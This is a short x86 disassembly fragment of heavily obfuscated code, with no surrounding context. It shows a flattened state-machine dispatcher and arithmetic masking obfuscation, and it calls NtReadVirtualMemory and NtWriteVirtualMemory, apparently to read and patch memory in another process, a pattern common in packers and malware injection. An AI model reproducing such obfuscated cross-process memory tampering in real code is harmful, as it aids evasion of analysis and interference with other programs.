mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x178], 0x2909ce2f
jmp 0x10006a8c
mov dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov dword [ebp - 0x178], 0xae32a437
jmp 0x10006a8c
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x89994124
or eax, edx
or ecx, 0x89994124
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
sub ecx, 0xa06b59b3
add ecx, eax
add ecx, 0xa06b59b3
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x178], 0xdb8e640
jmp 0x10006a8c
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x178], 0x4f5044b
jmp 0x10006a8c
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x178], 0x2460d480
jmp 0x10006a8c
jmp 0x100037b0